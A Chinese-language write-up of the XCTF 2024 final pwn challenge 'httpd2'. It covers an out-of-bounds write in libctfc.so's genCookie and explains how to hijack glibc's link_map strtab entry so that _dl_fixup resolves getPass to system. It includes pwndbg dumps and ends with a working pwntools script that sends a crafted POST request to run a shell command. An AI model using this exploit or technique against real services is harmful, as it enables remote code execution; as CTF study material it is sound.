httpd2 是 2024 年 XCTF 决赛中的一道题目。

题目附件:httpd2.zip

漏洞

题目代码量很少,总共审计出两个漏洞。

第一个漏洞出现在 libctfc.so 中的 genCookie 函数内,这是一个数组越界写入的漏洞。

char *__fastcall genCookie(const char *a1)
{
  ...
  v4 = strlen(a1);
  sub_135A(dest, 0x400uLL, a1, v4 + 1);
  dest[v4] = 0; // overflow
  sprintf(src, ":%lx", buf);
  strncat(dest, src, 0x400uLL);
  return dest;
}

在上述代码中,dest[v4] = 0; 这一行存在数组越界写入的风险。

第二个漏洞出现在 libctfc.so 中的 sub_1429 函数内,这是由于错误的条件判断导致的数组越界。但是,这个漏洞是一个废洞,因为 qword_40C0 数组后没有可以方便利用的数据结构。

__int64 sub_1429()
{
  ...
    qword_140C0 = ++v11;//.text:0x1653
    if ( v11 != 0x2000 )
    {
      qword_40C0[v11] = v10 + 1 + v14;
      if ( !v9[1] )
        break;
    }
  ...
}

以上代码段中,由于错误的条件判断,导致 qword_40C0[v11] 可能会发生数组越界访问。

利用

利用方式:修改 link_map 来劫持函数解析的结果。

原理

link_map_rtld_global 结构体的一个成员,link_map _rtld_globalld-linux-x86-64.so.2 的地址偏移是固定的。

根据 glibc-2.35/elf/dl-runtime.c 源码文件,动态链接器在解析函数地址首先获取 link_map 中的 strtab 地址,该字段的获取方式为 D_PTR (l, l_info[DT_STRTAB]),将其展开后为 ((l)->l_info[5]->d_un.d_ptr + (dl_relocate_ld (l) ? 0 : (l)->l_addr))。接着使用strtab 地址和 sym->st_name 的偏移所执行的字符串来进行解析函数。比如该字符串为 system ,则解析出来的值就是 system 函数地址。

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
       ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
       struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

 ...
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 ...
}

如果能劫持 (l)->l_info[5],则可以控制 strtab ,因此可以使用第一个漏洞修改该值,使其落在我们可控的内存。

根据源码可知,(l)->l_info[5] 类型为 Elf64_Dyn ,其结构体如下:

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;

因此可得(l)->l_info[5]->d_un.d_ptr是在(l)->l_info[5]地址的偏移上,再偏移8字节后取出的地址。

strtab劫持

我们可以根据偏移使用第一个漏洞修改 (l)->l_info[5] 地址,但是其还会根据该地址,再偏移8字节后取出对应的strtab地址,若我们修改的 (l)->l_info[5] 地址为不可读写地址,则程序会直接崩溃。

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
 RAX  0
 RBX  0x7ffff7ffe2f0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RCX  0x555555557e58 (_DYNAMIC+128) ◂— 5
 RDX  0x5555555543f0 ◂— 0
*RDI  0
 RSI  0
 R8   0xffffffff
 R9   0
 R10  0xffffffffffffff04
 R11  0x7ffff7fdf104 (_dl_audit_preinit) ◂— endbr64 
 R12  0
 R13  0x555555555189 (main) ◂— endbr64 
 R14  0
 R15  0
 RBP  0x7fffffffda30 ◂— 1
 RSP  0x7fffffffd640 —▸ 0x7fffffffd780 ◂— 0
*RIP  0x7ffff7fd7c3d (_dl_fixup+56) ◂— add rdi, qword ptr [rcx + 8]
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x7ffff7fd7dcf <_dl_fixup+458>    mov    eax, 0     EAX => 0
   0x7ffff7fd7dd4 <_dl_fixup+463>    jmp    _dl_fixup+46                <_dl_fixup+46>0x7ffff7fd7c33 <_dl_fixup+46>     add    rdx, rax
   0x7ffff7fd7c36 <_dl_fixup+49>     mov    rcx, qword ptr [rbx + 0x68]     RCX, [0x7ffff7ffe358] => 0x555555557e58 (_DYNAMIC+128) ◂— 5
   0x7ffff7fd7c3a <_dl_fixup+53>     mov    rdi, rax                        RDI => 00x7ffff7fd7c3d <_dl_fixup+56>     add    rdi, qword ptr [rcx + 8]        RDI => 0x5555555544e0 (0x0 + 0x5555555544e0)
   0x7ffff7fd7c41 <_dl_fixup+60>     mov    rcx, qword ptr [rbx + 0xf8]     RCX, [0x7ffff7ffe3e8] => 0x555555557ed8 (_DYNAMIC+256) ◂— 0x17
   0x7ffff7fd7c48 <_dl_fixup+67>     add    rax, qword ptr [rcx + 8]        RAX => 0x5555555546c0 (0x0 + 0x5555555546c0)
   0x7ffff7fd7c4c <_dl_fixup+71>     mov    ebp, esi                        EBP => 0
   0x7ffff7fd7c4e <_dl_fixup+73>     lea    rcx, [rbp + rbp*2]              RCX => 0
   0x7ffff7fd7c53 <_dl_fixup+78>     lea    rsi, [rax + rcx*8]              RSI => 0x5555555546c0 ◂— 0x4000
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /glibc/glibc-2.35/elf/dl-runtime.c:49
   44 # endif
   45            struct link_map *l, ElfW(Word) reloc_arg)
   46 {
   47   const ElfW(Sym) *const symtab
   48     = (const void *) D_PTR (l, l_info[DT_SYMTAB]);49   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
   50 
   51   const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
   52 
   53   const PLTREL *const reloc
   54     = (const void *) (D_PTR (l, l_info[DT_JMPREL])

如上面汇编的结果所示,<_dl_fixup+49> mov rcx, qword ptr [rbx + 0x68] 指令是取出(l)->l_info[5]地址。<_dl_fixup+56> add rdi, qword ptr [rcx + 8] 指令则是根据该地址偏移8字节后取出对应的 strtab 地址,若取出的 rcx 为不可读写地址,则执行到 <_dl_fixup+56> 处时,程序将崩溃。

对此,我们需要伪造一个指针结构,并且该指针所指的内存用户可控。

libctfc.so:sub_1429函数恰好满足上述要求,libctfc.so 会将 POST参数 以指针形式存入到 qword_40C0 数组中,其举例如下所示:

wget http://127.0.0.1/cgi-bin/main.cgi?a=1&b=2&c=3

-->

char *qword_40C0[0x2000]{
  "a=1",
  "b=2",
  "c=3"
};

所以我们可以使用该逻辑来实现指针的伪造。

利用方式

根据各个库函数在内存中的布局:

我们首先攻击 libctf.so:link_map,使得其 (l)->l_info[5] 恰好指向 qword_40C0 地址,该过程并非100%成功,需要进行爆破

随后在 qword_40C0 内存处,布置大量指针,用于提前布置伪造的 strtab 数据。

紧接着,程序在随后进行解析 getPass 的过程中,就会使用我们伪造的 strtab 数据进行函数地址解析。因此,我们可以将其修改为任意的库函数,比如 system 函数。

地址定位

知道了利用方式后,我们需要知道 _rtld_global 的地址、link_map 的地址。

_rtld_global 的地址是存在于ld-linux-x86-64.so.2 的符号表中的,因此该地址可以比较容易找到。

根据 glibc 源码可知,其第一个元素指向了程序的 link_map ,由于各个 link_map 是使用双向链表互连的,因此可以利用该程序的 link_map 寻找到所有的 link_map

pwndbg> p/x &_rtld_global
$1 = 0x73d7508bb040
pwndbg> tele 0x73d7508bb040
00:0000│ r15 0x73d7508bb040 (_rtld_global) —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f
01:0008│     0x73d7508bb048 (_rtld_global+8) ◂— 6
02:0010│     0x73d7508bb050 (_rtld_global+16) —▸ 0x73d7508bc5a0 —▸ 0x73d7508802c0 —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— ...
03:0018│     0x73d7508bb058 (_rtld_global+24) ◂— 0
04:0020│     0x73d7508bb060 (_rtld_global+32) —▸ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f
05:0028│     0x73d7508bb068 (_rtld_global+40) ◂— 0
06:0030│     0x73d7508bb070 (_rtld_global+48) ◂— 0
07:0038│     0x73d7508bb078 (_rtld_global+56) ◂— 1
pwndbg> tele 0x73d7508bc2e0
00:0000│  0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f
01:0008│  0x73d7508bc2e8 —▸ 0x73d7508bc888 ◂— 0
02:0010│  0x73d7508bc2f0 —▸ 0x5e33d11b9d80 (_DYNAMIC) ◂— 1
03:0018│  0x73d7508bc2f8 —▸ 0x73d7508bc890 —▸ 0x7ffe685e2000 ◂— jg 0x7ffe685e2047
04:0020│  0x73d7508bc300 ◂— 0
05:0028│  0x73d7508bc308 —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f
06:0030│  0x73d7508bc310 ◂— 0
07:0038│  0x73d7508bc318 —▸ 0x73d7508bc870 —▸ 0x73d7508bc888 ◂— 0

其中[link_map+0x18]link_map.l_prev,即指向上一个link_map。其中[link_map+0x20]link_map.l_next,即指向下一个link_map。其中[link_map+0x8]link_map.l_name,即指向该库的文件名,比如libc.so.6

pwndbg> tele 0x73d75087fca0
00:0000│  0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f
01:0008│  0x73d75087fca8 —▸ 0x73d75087fc90 ◂— './libc.so.6'
02:0010│  0x73d75087fcb0 —▸ 0x73d750735bc0 ◂— 1
03:0018│  0x73d75087fcb8 —▸ 0x73d7508bbaf0 (_rtld_global+2736) —▸ 0x73d750881000 ◂— 0x3010102464c457f
04:0020│  0x73d75087fcc0 —▸ 0x73d75087f740 —▸ 0x73d750745000 ◂— 0x10102464c457f
05:0028│  0x73d75087fcc8 —▸ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f
06:0030│  0x73d75087fcd0 ◂— 0
07:0038│  0x73d75087fcd8 —▸ 0x73d750880130 —▸ 0x73d750880148 ◂— 'libc.so.6'

其中[link_map+0x0]link_map.l_addr,即指向库或者程序的基地址,通常可以利用该值来判断我们寻找的link_map是否正确。

其中[link_map+0x68](l)->l_info[5],即我们要劫持的位置。

利用脚本

0x125f4adestlibctfc.so:(link_map)->l_info[5] 的偏移,我们修改的是该地址的第2个字节,以此来爆破该地址,使其落在 qword_40C0 内存上。由于 libctfc.so:(link_map)->l_info[5] 的低12位为0xea0,因此伪造的 strtab 应放在该地址的8字节偏移处。根据 libctf.so 的elf信息,其getPasssymst_name0x6a,所以其偏移的 0x6a 位置就是要解析的函数字符串,这里我们将其设置为 system 函数。其中0x0c0qword_40C0 的低12位。

0x125f4a 偏移会随着系统的改变而改变,所以该脚本可能并不适用于其他系统,不同系统需要通过调试结果来修正该值。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
from urllib.parse import quote
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('127.0.0.1', 80)

payload = b'passwd=' + b'a'*0x125f4a + b'&username=' + quote(b'touch /tmp/hacker').encode()
for i in range(2,0x2000):
    if ((0x0c0 + i * 8) & 0xfff) == 0xea0 + 8:
        payload += b'&b=' + cyclic(0x6a-2) + b'system'
    else:
        payload += b'&c=' + str(i).encode()

content_length = len(payload)

request = \
b"POST /cgi-bin/main.cgi HTTP/1.1\r\n" +\
b"Host: 127.0.0.1\r\n" +\
f"Content-Length: {content_length}\r\n".encode() +\
b"Content-Type: application/octet-stream\r\n" +\
b'\r\n' +\
payload

sh.send(request)
sh.interactive()